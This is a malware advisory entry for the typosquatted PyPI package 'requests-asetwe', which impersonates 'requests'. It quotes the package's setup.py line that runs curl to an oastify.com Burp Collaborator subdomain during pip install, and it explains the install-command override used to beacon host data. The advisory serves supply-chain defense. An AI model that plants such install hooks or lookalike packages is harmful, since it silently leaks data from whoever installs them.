MAL-2026-16269

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MAL-2026-16269

Summary: Malicious code in requests-asetwe (PyPI)

Details: Source: amazon-inspector (c0316bf059751a9ece4fb034e225276529692338dc671ad9929e16faf8c843d5) setup.py of requests-asetwe unconditionally executes `os.system('curl -s https://w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com')` during `pip install`. The destination is a Burp Collaborator (oastify.com) subdomain — an out-of-band interaction service used to confirm code execution and collect the victim's IP/DNS metadata on the attacker's collaborator instance. The package name is a lookalike of the widely-used `requests` package, and the shipped setup.py has no legitimate reason to contact an anonymous oastify subdomain at install time. Installing the package causes the installer's host to beacon to attacker-controlled infrastructure automatically. Source: kam193 (7078a9b4fc2be32cbeb1f2c20ec67834c8e293bd410ceeb4842cacd8340d9835) Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities. Campaign: GENERIC-standard-pypi-install-pentest Reasons (based on the campaign): - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. - The package overrides the install command in setup.py to execute malicious code during installation.

References: https://bad-packages.kam193.eu/pypi/package/requests-asetwe, https://pypi.org/project/requests-asetwe/2.34.2/